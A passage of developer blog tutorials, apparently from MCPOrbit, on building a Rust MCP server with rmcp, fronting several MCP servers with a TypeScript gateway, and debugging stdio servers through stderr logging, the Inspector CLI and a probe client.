bit. Return `Json` and the SDK serializes `T` into `structuredContent` and derives an `outputSchema` from it. Return a plain `String` and you get text content and no output schema. You choose which by picking a return type, not by setting a flag. ## What does the full Rust MCP server look like? One file. Two tools, one that parses a version and one that tests a version against a requirement. Copy this into `src/main.rs` and the server is finished. ```rust use rmcp::{ ErrorData, Json, ServerHandler, ServiceExt, handler::server::{router::tool::ToolRouter, wrapper::Parameters}, model::{Implementation, ServerCapabilities, ServerInfo}, tool, tool_handler, tool_router, transport::stdio, }; use schemars::JsonSchema; use serde::{Deserialize, Serialize}; #[derive(Debug, Deserialize, JsonSchema)] pub struct ParseRequest { /// A semantic version string, for example "1.4.2" or "2.0.0-rc.1". pub version: String, } #[derive(Debug, Serialize, JsonSchema)] pub struct ParsedVersion { pub major: u64, pub minor: u64, pub patch: u64, /// Empty when the version carries no pre-release tag. pub pre: String, pub is_prerelease: bool, } #[derive(Debug, Deserialize, JsonSchema)] pub struct SatisfiesRequest { /// A Cargo-style version requirement, for example "^1.2" or ">=1.0, <2.0". pub requirement: String, /// The concrete version to test against the requirement. pub version: String, } #[derive(Debug, Serialize, JsonSchema)] pub struct SatisfiesResult { pub matches: bool, pub requirement: String, pub version: String, } #[derive(Debug, Clone)] pub struct SemverServer { tool_router: ToolRouter, } #[tool_router(router = tool_router)] impl SemverServer { pub fn new() -> Self { Self { tool_router: Self::tool_router(), } } #[tool(description = "Parse a semantic version string into its numeric parts")] async fn parse_version( &self, Parameters(ParseRequest { version }): Parameters, ) -> Result, ErrorData> { let v = semver::Version::parse(&version) .map_err(|e| ErrorData::invalid_params(format!("{version:?} is not a version: {e}"), None))?; Ok(Json(ParsedVersion { major: v.major, minor: v.minor, patch: v.patch, pre: v.pre.to_string(), is_prerelease: !v.pre.is_empty(), })) } #[tool(description = "Check whether a version satisfies a version requirement")] async fn satisfies( &self, Parameters(SatisfiesRequest { requirement, version }): Parameters, ) -> Result, ErrorData> { let req = semver::VersionReq::parse(&requirement) .map_err(|e| ErrorData::invalid_params(format!("{requirement:?} is not a requirement: {e}"), None))?; let v = semver::Version::parse(&version) .map_err(|e| ErrorData::invalid_params(format!("{version:?} is not a version: {e}"), None))?; Ok(Json(SatisfiesResult { matches: req.matches(&v), requirement, version, })) } } #[tool_handler(router = self.tool_router)] impl ServerHandler for SemverServer { fn get_info(&self) -> ServerInfo { ServerInfo::new(ServerCapabilities::builder().enable_tools().build()) .with_server_info(Implementation::new( env!("CARGO_PKG_NAME"), env!("CARGO_PKG_VERSION"), )) .with_instructions("Parses and compares semantic version strings.") } } #[tokio::main] async fn main() -> Result<(), Box> { eprintln!("semver-mcp starting on stdio"); let service = SemverServer::new().serve(stdio()).await?; service.waiting().await?; Ok(()) } ``` Three macros do the wiring. `#[tool]` registers one method, `#[tool_router]` collects every `#[tool]` in the block into a `ToolRouter`, and `#[tool_handler]` implements the `ServerHandler` dispatch against that router. The `tool_router` field on the struct is not optional, the generated code expects it. > **stdout is the protocol** > > `eprintln!` writes to stderr and is safe. `println!` writes to stdout, which is the transport, and a single stray line corrupts the JSON-RPC stream. This is the same rule as every other stdio MCP server, and Rust gives you no warning about it. ## Why does the server report its name as rmcp? Because the default identity comes from the SDK, not from you. Run a bare `ServerInfo::new(...)` without overriding `server_info` and the `initialize` response says this: ```json { "serverInfo": { "name": "rmcp", "version": "3.1.4" } } ``` That is your server announcing itself as the SDK. The cause is in `rmcp`'s own source: the default is built with `env!("CARGO_CRATE_NAME")`, and `env!` expands at the compile time of the crate that contains it. That crate is `rmcp`, so the value is always `rmcp`, no matter what your package is called. The fix is one builder call. Use the same macro in your own crate, where it expands to your package name. ```rust ServerInfo::new(ServerCapabilities::builder().enable_tools().build()) .with_server_info(Implementation::new( env!("CARGO_PKG_NAME"), env!("CARGO_PKG_VERSION"), )) .with_instructions("Parses and compares semantic version strings.") ``` After that the handshake reports `semver-mcp` and `0.1.0`. Check this before you publish anything, because clients show that name to users and log it, and the default is wrong in a way that still looks like it works. ## How do you run and test a Rust MCP server? You do not need a client to start. The stdio transport reads newline-delimited JSON-RPC from stdin, so a shell pipe is enough to drive a full session. ```bash cargo build --release { echo '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2026-07-28","capabilities":{},"clientInfo":{"name":"probe","version":"1"}}}' echo '{"jsonrpc":"2.0","method":"notifications/initialized"}' echo '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"satisfies","arguments":{"requirement":"^1.2","version":"1.4.2"}}}' sleep 1 } | ./target/release/semver-mcp ``` The tool call comes back with both shapes at once, the text block and the structured object: ```json { "jsonrpc": "2.0", "id": 2, "result": { "resultType": "complete", "content": [ { "type": "text", "text": "{\"matches\":true,\"requirement\":\"^1.2\",\"version\":\"1.4.2\"}" } ], "structuredContent": { "matches": true, "requirement": "^1.2", "version": "1.4.2" }, "isError": false } } ``` `structuredContent` is the machine-readable copy and `content` is the fallback for clients that predate structured output. You wrote neither. Both came from returning `Json`. `tools/list` shows the other half of what the derives bought you, a generated `outputSchema` alongside the input schema: ```json { "name": "parse_version", "description": "Parse a semantic version string into its numeric parts", "inputSchema": { "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { "version": { "description": "A semantic version string, for example \"1.4.2\" or \"2.0.0-rc.1\".", "type": "string" } }, "required": ["version"], "type": "object" }, "outputSchema": { "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { "is_prerelease": { "type": "boolean" }, "major": { "format": "uint64", "minimum": 0, "type": "integer" }, "minor": { "format": "uint64", "minimum": 0, "type": "integer" }, "patch": { "format": "uint64", "minimum": 0, "type": "integer" }, "pre": { "description": "Empty when the version carries no pre-release tag.", "type": "string" } }, "required": ["major", "minor", "patch", "pre", "is_prerelease"], "type": "object" } } ``` Note `"format": "uint64"` and `"minimum": 0`. Those came from declaring the fields `u64`. A Rust type that cannot be negative produces a schema that says so, which is a real advantage over hand-written schemas that drift from the code. ## What happens when a tool call fails? Two failures, two different wire shapes, and the difference matters when you are debugging. Send a malformed version, then send a call with the argument missing entirely. ```json { "jsonrpc": "2.0", "id": 5, "error": { "code": -32602, "message": "\"not-a-version\" is not a version: unexpected character 'n' while parsing major version number" } } ``` ```json { "jsonrpc": "2.0", "id": 6, "result": { "resultType": "complete", "content": [ { "type": "text", "text": "failed to deserialize parameters: missing field `version`" } ], "isError": true } } ``` The first is a protocol error. Your handler ran, returned `Err(ErrorData::invalid_params(...))`, and the SDK turned it into a JSON-RPC `error` with code -32602. There is no `result` at all. The second never reached your handler. Serde could not deserialize the arguments into `ParseRequest`, so the SDK produced a successful JSON-RPC response whose payload is a failed tool result. The model sees the message and can retry with better arguments. That split is worth designing around. A missing argument is the model's problem and it should see it as tool output. A broken upstream is not, and an `ErrorData` says so at the protocol level. Returning `Result, ErrorData>` gives you both without extra plumbing. ## Do responses come back in the order you sent them? No, and you should not build anything that assumes they do. Each request is dispatched onto the tokio runtime as its own task, so handlers run concurrently and finish whenever they finish. Sending three calls with ids 3, 4 and 5 three times in a row returned them in these orders: ```text run 1: response id order = [1, 3, 5, 4] run 2: response id order = [1, 4, 5, 3] run 3: response id order = [1, 4, 5, 3] ``` This is correct JSON-RPC behavior and every compliant client matches responses by `id`. It only bites when you are testing by hand and read the transcript top to bottom, or when you write a quick script that assumes the first line back answers the first line sent. ## Why ship an MCP server as a Rust binary? Because the install instruction becomes a file path. No runtime, no virtualenv, no `node_modules`. Build in release mode and look at what you get. ```bash $ cargo build --release $ ls -l target/release/semver-mcp 3668768 bytes $ otool -L target/release/semver-mcp target/release/semver-mcp: /usr/lib/libiconv.2.dylib /usr/lib/libSystem.B.dylib ``` 3.5 MB, and the only things it links are two system libraries that ship with the OS. There is no third-party dynamic dependency to install or version-match. For comparison, the equivalent Go server in this series comes out around 9 MB. For Linux containers, build against musl and the binary links nothing at all, which means it runs in a `scratch` image. That is the smallest an MCP server gets. ```bash rustup target add x86_64-unknown-linux-musl cargo build --release --target x86_64-unknown-linux-musl ``` ## How do you add a Rust MCP server to Claude Desktop? Point `command` at the binary with an absolute path. There are no `args`, because there is no interpreter to invoke first. ```json { "mcpServers": { "semver": { "command": "/Users/you/code/semver-mcp/target/release/semver-mcp" } } } ``` On macOS that file is `~/Library/Application Support/Claude/claude_desktop_config.json`. Restart the app after editing it. If the server does not appear, run the binary by hand first, because a crash on startup and a bad path look identical from inside the client. MCPOrbit takes the same binary with no file in the way. Command is `/Users/you/code/semver-mcp/target/release/semver-mcp`, Arguments stays empty, and there is nothing to restart. The debugging advice above gets easier as well: when the binary fails to start, MCPOrbit prints the reason above the Connect button, so a crash on startup and a bad path stop looking identical. [How to add an MCP server to MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) covers the form and that output. --- ## Frequently asked questions ## Frequently asked questions ### What is the official Rust SDK for MCP? `rmcp`, published on crates.io and developed in the `modelcontextprotocol/rust-sdk` repository. The current stable release is 3.1.4. It supports servers and clients over stdio and streamable HTTP. ### Do I need async and tokio to build an MCP server in Rust? Yes. `rmcp` is built on `tokio` and the serve loop is async, so you need a runtime. A `#[tokio::main]` entry point with the `rt-multi-thread`, `macros` and `io-std` features is enough for a stdio server. ### Why does my Rust MCP tool have no input schema? Almost always because the `schemars` feature is not enabled on `rmcp`. It is not a default feature. Add it with `cargo add rmcp --features schemars`, and make sure your argument struct derives `JsonSchema` as well as `Deserialize`. ### How do I return structured output from a Rust MCP tool? Return `Json` where `T` derives `Serialize` and `JsonSchema`. The SDK fills in `structuredContent` and generates an `outputSchema` for the tool. Returning a plain `String` gives you a text content block and no output schema. ### Why does my server report its name as rmcp? The default `serverInfo` is built from `env!("CARGO_CRATE_NAME")` inside the SDK, so it always resolves to `rmcp`. Override it with `.with_server_info(Implementation::new(env!("CARGO_PKG_NAME"), env!("CARGO_PKG_VERSION")))` in your `get_info` implementation. ### Is Rust a good choice for an MCP server? It is a good choice when you want a single dependency-free binary, strict argument typing, or you are wrapping an existing Rust library. For a thin wrapper around an HTTP API, TypeScript or Python will get you there faster. The short version: one struct for the arguments, one for the result, `#[tool]` on the method and `#[tool_router]` on the block. The schema is derived from your types, so it cannot drift from the code that reads it. Override `server_info` before you ship, and remember that stdout belongs to the protocol. > **One binary, no runtime** > > A Rust MCP server installs as a file path. If you are distributing a server to people who do not write Rust, that is the whole install story, and it is hard to beat. --- # How to combine multiple MCP servers into one URL: https://mcporbit.com/blog/combine-multiple-mcp-servers Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Tutorial Tags: MCP, TypeScript, Gateways, Tutorial, Architecture Put several MCP servers behind one gateway: a server that is also a client, with prefixed tool names and a dead upstream contained. Runnable TypeScript. To combine several Model Context Protocol (MCP) servers into one, build a gateway: a single MCP server that is also an MCP client. It connects to each upstream server when it starts, collects the tools they expose, and republishes all of them under one name. Whatever you point at the gateway sees one server. This is worth doing because clients do not handle many servers gracefully. Every server a user adds is another config entry, another process to start, and another thing that can fail on its own. A gateway collapses that list into one endpoint. The whole gateway below is 80 lines of TypeScript, and the code in this post runs as written. - A gateway is an MCP server and an MCP client in the same process. It calls `tools/list` on every upstream at startup, then registers each tool it found on itself. - Tool names collide. Two servers both exposing `search` is normal, and registering the second one throws `Tool search is already registered`, which kills the gateway at startup. Prefix every tool with the name of the server it came from. - Pass each upstream's JSON Schema through with `fromJsonSchema` instead of rewriting it in Zod. The schema the model reads stays byte-identical to the one the upstream published. - Connect to upstreams inside a `try`/`catch` so one unreachable server does not stop the gateway from serving the others. - Tested end to end on Node 25.8.1 with `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, and `zod` 4.4.3. ## What is an MCP gateway? An MCP gateway is a server that sits between one client and many servers. To the client it is an ordinary MCP server: it answers `tools/list` and `tools/call` like any other. To each upstream it is an ordinary MCP client. Nothing in the protocol treats it as special. That is the whole trick. In the SDK, a server and a client are two separate objects with no shared state, so one process can hold both. The gateway keeps a routing table that maps the tool names it advertises to the upstream client that can actually run them. This is a different job from routing MCP traffic at the network edge with the `Mcp-Method` and `Mcp-Name` headers. Those headers let a proxy forward a request without reading the body. A gateway does read the body: it owns the tool list and decides which upstream each call belongs to. ## Set up the project Create a fresh directory. The gateway needs both SDK packages, because it acts as a server and as a client. ```json { "name": "mcp-gateway-demo", "private": true, "type": "module", "dependencies": { "@modelcontextprotocol/client": "2.0.0", "@modelcontextprotocol/server": "2.0.0", "zod": "4.4.3" } } ``` ```bash npm install ``` > **Node version** > > Tested on Node 25.8.1. Node runs these `.ts` files directly by stripping the type annotations, so there is no build step and no bundler. On a Node version without type stripping, rename the files to `.js` and delete the annotations. Nothing else changes. ## Two servers to put behind the gateway You need something to combine. These two servers are deliberately small, and they are chosen to collide: both expose a tool called `search`. That collision is the problem a gateway has to solve, so it is better to hit it now than in production. ```typescript // upstream-weather.ts: a tiny MCP server, standing in for a real one. import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; const CITIES = ["Lisbon", "Reykjavik", "Nairobi"]; function makeServer() { const server = new McpServer({ name: "weather", version: "1.0.0" }); server.registerTool( "search", { description: "Search the city list. Returns matching city names.", inputSchema: z.object({ query: z.string() }), }, async ({ query }) => { const hits = CITIES.filter((c) => c.toLowerCase().includes(query.toLowerCase()), ); return { content: [{ type: "text", text: hits.join(", ") || "no match" }] }; }, ); server.registerTool( "forecast", { description: "Get tomorrow's forecast for a city.", inputSchema: z.object({ city: z.string() }), }, async ({ city }) => { if (!CITIES.includes(city)) throw new Error(`Unknown city: ${city}`); return { content: [{ type: "text", text: `${city}: 18C, light rain` }] }; }, ); return server; } serveStdio(() => makeServer()); ``` ```typescript // upstream-notes.ts: a second MCP server. Note that it also has a "search" tool. import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; const NOTES = [ { id: "n1", title: "Standup", body: "Ship the gateway." }, { id: "n2", title: "Groceries", body: "Coffee, oats." }, ]; function makeServer() { const server = new McpServer({ name: "notes", version: "1.0.0" }); server.registerTool( "search", { description: "Search notes by title. Returns matching note ids.", inputSchema: z.object({ query: z.string() }), }, async ({ query }) => { const hits = NOTES.filter((n) => n.title.toLowerCase().includes(query.toLowerCase()), ); const text = hits.map((n) => `${n.id}: ${n.title}`).join("\n"); return { content: [{ type: "text", text: text || "no match" }] }; }, ); server.registerTool( "read", { description: "Read one note by id.", inputSchema: z.object({ id: z.string() }), }, async ({ id }) => { const note = NOTES.find((n) => n.id === id); if (!note) throw new Error(`No note with id ${id}`); return { content: [{ type: "text", text: note.body }] }; }, ); return server; } serveStdio(() => makeServer()); ``` Each one is a normal stdio MCP server. Run either directly and a client can talk to it. Replace them later with real servers, such as a filesystem server and a database server. The gateway does not care what an upstream is, only that it speaks MCP. ## How do you combine multiple MCP servers into one? List the upstreams in a config file so adding a server is an edit, not a code change. The third entry points at a file that does not exist. That is on purpose, to prove the gateway survives a dead upstream. ```json { "servers": [ { "name": "weather", "command": "node", "args": ["upstream-weather.ts"] }, { "name": "notes", "command": "node", "args": ["upstream-notes.ts"] }, { "name": "broken", "command": "node", "args": ["does-not-exist.ts"] } ] } ``` The gateway starts by connecting to each upstream and asking for its tools. Then it builds one server that mirrors every tool it found and forwards calls to the right client. ```typescript // gateway.ts: one MCP server that fronts several others. import { readFileSync } from "node:fs"; import { McpServer, fromJsonSchema } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; type Upstream = { name: string; command: string; args: string[] }; type Route = { client: Client; toolName: string; description?: string; inputSchema: any; }; const config: { servers: Upstream[] } = JSON.parse( readFileSync("servers.json", "utf8"), ); // One entry per upstream tool, keyed by the name the gateway exposes. const routes = new Map(); async function connectUpstream(entry: Upstream): Promise { const client = new Client({ name: "gateway", version: "1.0.0" }); const transport = new StdioClientTransport({ command: entry.command, args: entry.args, stderr: "ignore", }); await client.connect(transport); const { tools } = await client.listTools(); for (const tool of tools) { routes.set(`${entry.name}.${tool.name}`, { client, toolName: tool.name, description: tool.description, inputSchema: tool.inputSchema, }); } return tools.length; } // Connect to every upstream before serving. One dead server must not take the // gateway down with it, so a failure is logged and skipped. for (const entry of config.servers) { try { const count = await connectUpstream(entry); console.error(`[gateway] ${entry.name}: ${count} tools`); } catch (error) { console.error(`[gateway] ${entry.name} unavailable: ${(error as Error).message}`); } } function makeServer(): McpServer { const server = new McpServer({ name: "gateway", version: "1.0.0" }); for (const [publicName, route] of routes) { server.registerTool( publicName, { description: route.description, // The upstream already published a JSON Schema. Pass it straight // through instead of rebuilding it by hand. inputSchema: fromJsonSchema(route.inputSchema), }, async (args) => { return await route.client.callTool({ name: route.toolName, arguments: args as Record, }); }, ); } return server; } serveStdio(() => makeServer()); ``` Three decisions in that file carry the design. Tool names are prefixed with the upstream name, so `search` becomes `weather.search` and `notes.search` and the two stop fighting. The upstream's own `inputSchema` is handed to `fromJsonSchema` and passed through untouched, so the gateway never has to understand what a tool takes. And the connect loop catches failures per upstream, so a server that is down costs you its tools and nothing else. ## Test it end to end Write a client that spawns the gateway, lists what it advertises, and calls a tool from each upstream. This is the check that matters, because it exercises the full path: client to gateway, gateway to upstream, and back. ```typescript // test.ts: connect to the gateway and exercise tools from both upstreams. import assert from "node:assert/strict"; import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const client = new Client({ name: "test", version: "1.0.0" }); await client.connect( new StdioClientTransport({ command: "node", args: ["gateway.ts"] }), ); const { tools } = await client.listTools(); const names = tools.map((t) => t.name).sort(); console.log("TOOLS:", names.join(", ")); // Both upstreams export a tool called "search". The prefix keeps them apart. assert.deepEqual(names, [ "notes.read", "notes.search", "weather.forecast", "weather.search", ]); // The unreachable upstream in servers.json did not stop the gateway. assert.ok(!names.some((n) => n.startsWith("broken."))); const forecast = await client.callTool({ name: "weather.forecast", arguments: { city: "Lisbon" }, }); console.log("weather.forecast ->", forecast.content[0].text); assert.match(forecast.content[0].text, /Lisbon/); const note = await client.callTool({ name: "notes.read", arguments: { id: "n1" }, }); console.log("notes.read ->", note.content[0].text); assert.equal(note.content[0].text, "Ship the gateway."); // Each "search" reaches its own upstream, not the other one. const cities = await client.callTool({ name: "weather.search", arguments: { query: "re" }, }); console.log("weather.search ->", cities.content[0].text); assert.equal(cities.content[0].text, "Reykjavik"); const notes = await client.callTool({ name: "notes.search", arguments: { query: "stand" }, }); console.log("notes.search ->", notes.content[0].text); assert.equal(notes.content[0].text, "n1: Standup"); // An upstream error comes back as a tool error, not a dead gateway. const missing = await client.callTool({ name: "notes.read", arguments: { id: "nope" }, }); assert.equal(missing.isError, true); console.log("notes.read (bad id) -> isError:", missing.isError); // The gateway is still usable after that error. const again = await client.callTool({ name: "notes.read", arguments: { id: "n2" }, }); assert.equal(again.content[0].text, "Coffee, oats."); await client.close(); console.log("ALL CHECKS PASSED"); ``` Run it with `node test.ts`. The first three lines come from the gateway's own stderr, which is where the startup report goes so it cannot corrupt the JSON-RPC stream on stdout. ```text [gateway] weather: 2 tools [gateway] notes: 2 tools [gateway] broken unavailable: Connection closed TOOLS: notes.read, notes.search, weather.forecast, weather.search weather.forecast -> Lisbon: 18C, light rain notes.read -> Ship the gateway. weather.search -> Reykjavik notes.search -> n1: Standup notes.read (bad id) -> isError: true ALL CHECKS PASSED ``` Four tools from two servers, under one connection. The `broken` upstream reported `Connection closed` and was skipped, and the gateway served the rest anyway. A bad note id came back as a tool error rather than a crash, and the next call still worked. ## Why prefix every tool name? Because without a prefix the gateway does not start. Tool names are unique per server, and the SDK enforces that when you register them: ```typescript // Two upstreams, both with a tool called "search". server.registerTool("search", { description: "A", inputSchema: z.object({ q: z.string() }) }, handlerA); server.registerTool("search", { description: "B", inputSchema: z.object({ q: z.string() }) }, handlerB); // Error: Tool search is already registered ``` That error is thrown while the gateway is booting, before any client connects, so the failure is at least loud. The quieter version of this bug is worse: a gateway that silently keeps the last registration wins, and calls to `search` reach the wrong server for the rest of the session. Pick one separator and keep it. A dot reads well and matches what most people expect from a namespace. Whatever you choose, the prefix should be the upstream's name from your config, not the server's self-reported name, because two vendors can ship servers that both call themselves `search-server`. ## What a gateway does not fix A gateway changes where tools come from. It does not change how many the model sees. Front five servers with twelve tools each and the model now reads 60 tool descriptions on every call, which is well past the point where tool selection gets unreliable. Combining servers can make that worse, because adding one is suddenly cheap. > **Budget your tools** > > If the combined list is long, filter inside the gateway. The routing table is a plain `Map`, so an allowlist of tool names is a few lines. Expose the tools a given user actually needs, not everything every upstream happens to publish. A gateway also concentrates trust. Every call now flows through one process that holds credentials for several servers. Treat it as a security boundary: log which upstream each call reached, and do not let a prompt-injected tool result from one server steer a call into another. ## Frequently asked questions ## Frequently asked questions ### How do I combine multiple MCP servers into one? Build a gateway: one MCP server that is also an MCP client. It connects to each upstream at startup, calls `tools/list`, and registers every tool it finds on itself under a prefixed name. The client you point at the gateway sees a single server. ### Does an MCP gateway need special protocol support? No. A gateway is a normal MCP server to the client in front of it and a normal MCP client to each server behind it. Nothing in the spec treats it as a distinct role, and no extra capability has to be negotiated. ### What happens if two MCP servers have tools with the same name? Registering the second one throws `Tool search is already registered` and the gateway fails at startup. Prefix every tool with the name of the upstream it came from, so `search` becomes `weather.search` and `notes.search`. ### Should a gateway re-validate tool arguments? It does not need to rewrite the schema. Pass the upstream's published JSON Schema straight through with `fromJsonSchema` from `@modelcontextprotocol/server`, and the upstream still validates arguments on its own side when the call arrives. ### Can one gateway front both stdio and HTTP MCP servers? Yes. The client package exports `StreamableHTTPClientTransport` alongside `StdioClientTransport`. Give each upstream the transport it needs at connect time; the routing table and the forwarding code stay the same. ### Does a gateway reduce the number of tools a model sees? No. It changes where the tools come from, not how many there are. If the combined list is long enough to hurt tool selection, filter it inside the gateway before registering. You now have one endpoint in front of as many MCP servers as you want to run, with collisions handled and a dead upstream contained. Point it at real servers by editing `servers.json`. If you want to see what a server exposes before you put it behind a gateway, MCPOrbit lists every tool a server publishes with its full description and input schema. [Download MCPOrbit for macOS](/api/download) --- # How to debug an MCP server URL: https://mcporbit.com/blog/debug-an-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Debugging, stdio, MCP Inspector, Engineering A stray stdout line in a stdio MCP server usually does not crash it. It gets swallowed. Here is what really happens, and how to debug one properly. To debug a Model Context Protocol (MCP) server on stdio: log to stderr instead of stdout, drive the server directly with the MCP Inspector CLI, and keep a small probe client you can run in one command. Never write to stdout. On stdio, stdout is the protocol channel, not a place to print things. The advice you will usually hear is that `console.log` corrupts the protocol frame and crashes the connection. That is not what happens, at least not with the current SDK, and the real behavior is worse. A stray whole line on stdout is silently discarded. Your log never appears, the call still succeeds, and nothing anywhere tells you a line went missing. The case that does break you looks harmless and is covered further down. - On stdio, stdout carries JSON-RPC frames. Anything else you write there is at best ignored and at worst eats the next real message. - In `@modelcontextprotocol/client` 2.0.0 a stdout line that fails `JSON.parse` is skipped without an error. `console.log("hello")` vanishes. - A line that is valid JSON but not valid JSON-RPC does raise an error, on `transport.onerror`, which most code never sets. - An unterminated write with no trailing newline is the one that actually kills you: it glues onto the next real frame and the request times out. - Use `console.error` for logs, the MCP Inspector CLI to call tools by hand, and a probe client to reproduce a failure in one command. ## Why can you not use console.log in an MCP server? A stdio MCP server talks to its client over the process's own standard input and output. The client writes JSON-RPC requests to the server's stdin and reads responses, one JSON object per line, from its stdout. That is the entire transport. There is no separate socket and no framing header, just newline-delimited JSON. So `console.log` writes to the same stream the protocol uses. The MCP docs are blunt about it: local MCP servers should not log to stdout, as this will interfere with protocol operation. What the docs do not tell you is what interference actually looks like, and that turns out to matter a great deal when you are staring at a server that half works. ## What actually happens when you write to stdout? I built a one-tool server and ran a real client against it over real stdio, changing only the logging line. Versions pinned: `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, `zod` 4.2.1, on Node v25.8.1. Three different stdout writes, three different outcomes. ```javascript // Case 1: a plain line. Silently discarded. console.log("count_words called"); // Case 2: valid JSON, invalid JSON-RPC. Raises on transport.onerror. console.log(JSON.stringify({ event: "count_words", text })); // Case 3: no trailing newline. Eats the next real frame. process.stdout.write("working..."); ``` Case 1 is the surprising one. The tool call returns `{"content":[{"type":"text","text":"4"}]}` exactly as it should, and the log line is gone. Not redirected, not buffered, gone. The reason is in the client's read buffer: it splits stdout on newlines and tries to parse each line, and a line that throws a `SyntaxError` is skipped and the loop moves on. ```javascript // @modelcontextprotocol/client 2.0.0, ReadBuffer.readMessage() try { return deserializeMessage(line); } catch (error) { if (error instanceof SyntaxError) continue; throw error; } ``` > **Why this matters** > > This is why so many people conclude that logging to stdout is fine. It looks fine. The server works, the tools run, and the only symptom is that your debugging output never shows up, which reads like a broken logger rather than a protocol violation. Case 2 gets further. `JSON.parse` succeeds, so it is not a `SyntaxError`, and the JSON-RPC schema check rejects it instead. That error is real and it propagates to the transport's error handler. The call still returns `4`, because the next line on the wire is the genuine response, but you now get a stack of schema noise for every tool invocation. ```text [transport.onerror] ZodError: [ { "code": "invalid_union", "errors": [ [ { "code": "invalid_value", "values": [ "2.0" ], "path": [ "jsonrpc" ], "message": "Invalid input: expected \"2.0\"" }, ``` You only ever see that if you assigned `transport.onerror`. If you did not, the SDK calls an undefined handler and the error evaporates. Set it. It costs two lines and it is the difference between a mystery and a message. Case 3 is the one to actually fear. `process.stdout.write("working...")` emits no newline, so the buffer never sees a line boundary. The next thing written to stdout is the real JSON-RPC response, and it arrives glued to the back of your text. The combined line fails `JSON.parse`, hits the `SyntaxError` branch, and is skipped. The response is destroyed in transit and the client waits for a reply that already came and went. ```text call failed: SdkError Request timed out ``` A timeout with no error on either side, from one write with a missing newline. This is the failure that sends people hunting through their tool logic for an infinite loop that is not there. ## How should an MCP server log instead? Write to stderr. On stdio the host application captures the server's stderr automatically, so your logs land somewhere useful without touching the protocol stream. In Node that means `console.error`, or anything else that targets file descriptor 2. Here is the full server. Create a directory, drop in these two files, and run `npm install`. ```json { "name": "wordcount-mcp", "version": "1.0.0", "type": "module", "scripts": { "start": "node server.js", "probe": "node probe.js" }, "dependencies": { "@modelcontextprotocol/client": "2.0.0", "@modelcontextprotocol/server": "2.0.0", "zod": "4.2.1" } } ``` ```javascript // server.js import { McpServer } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; const log = (...args) => console.error("[wordcount]", ...args); const server = new McpServer({ name: "wordcount", version: "1.0.0" }); server.registerTool( "count_words", { title: "Count words", description: "Count the words in a string.", inputSchema: { text: z.string().describe("The text to count words in.") }, }, async ({ text }) => { log("count_words in:", JSON.stringify(text)); const count = text.trim().split(/\s+/).filter(Boolean).length; log("count_words out:", count); return { content: [{ type: "text", text: String(count) }] }; }, ); log("starting on stdio"); await server.connect(new StdioServerTransport()); ``` One `log` helper at the top, pointed at `console.error`, is the whole fix. Define it once and never think about the stream again. If you are tempted to send logs over the protocol instead, note that `notifications/message` is deprecated as of protocol version `2026-07-28`, so stderr is the durable answer for local servers. ## How do you test an MCP server without a client? Use the MCP Inspector. It has a UI, but the CLI mode is the one that belongs in your loop, because it starts the server, runs a single method, prints the JSON result, and exits. No browser, no restart cycle. ```bash npx @modelcontextprotocol/inspector@2.4.0 --cli node server.js \ --method tools/list ``` ```json { "tools": [ { "name": "count_words", "title": "Count words", "description": "Count the words in a string.", "inputSchema": { "type": "object", "properties": { "text": { "type": "string" } }, "required": [ "text" ], "$schema": "https://json-schema.org/draft/2020-12/schema" } } ] } ``` That output is the single most useful thing to look at when a server is not behaving. It is the exact schema the model will see. Most tool bugs that present as the model calling a tool wrongly are really schema bugs, visible right here. Calling the tool works the same way. Arguments go in as repeated `--tool-arg` flags. ```bash npx @modelcontextprotocol/inspector@2.4.0 --cli node server.js \ --method tools/call \ --tool-name count_words \ --tool-arg text="the quick brown fox" ``` ```text [wordcount] count_words in: "the quick brown fox" { "content": [ { "type": "text", "text": "4" } ] } ``` The stderr log and the JSON result show up together, cleanly separated. Point the same command at the version of the server that used `process.stdout.write` and you get the whole diagnosis in one line. ```json {"error":{"code":"error","message":"Request timed out"}} ``` ## How do you reproduce an MCP failure in one command? Write a probe. It is about thirty lines, it runs the same handshake a real client runs, and unlike the Inspector you can put a breakpoint in it. Keep it in the repo next to the server. ```javascript // probe.js import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const client = new Client({ name: "probe", version: "1.0.0" }); const transport = new StdioClientTransport({ command: process.execPath, args: ["server.js"], stderr: "inherit", }); transport.onerror = (error) => { console.error("[transport error]", error.constructor.name); }; try { await client.connect(transport); const { tools } = await client.listTools(); console.error("tools:", tools.map((t) => t.name).join(", ")); const result = await client.callTool( { name: "count_words", arguments: { text: "the quick brown fox" } }, undefined, { timeout: 5000 }, ); console.error("result:", JSON.stringify(result)); } catch (error) { console.error("call failed:", error.constructor.name, error.message); process.exitCode = 1; } finally { await client.close().catch(() => {}); } ``` Three details in there are doing real work. `stderr: "inherit"` forwards the server's logs straight to your terminal, which is what makes the server's own output visible at all. `transport.onerror` catches the protocol-level errors that otherwise disappear. The explicit `timeout` of 5000 turns a hang into a fast, named failure. ```bash npm run probe ``` ```text [wordcount] starting on stdio tools: count_words [wordcount] count_words in: "the quick brown fox" [wordcount] count_words out: 4 result: {"content":[{"type":"text","text":"4"}]} ``` ## Where does the client write its MCP logs? When a server works under the Inspector but does not appear in your client, the problem has moved out of your code and into how the client launches it. The client's log is where that shows up. Claude Desktop writes to 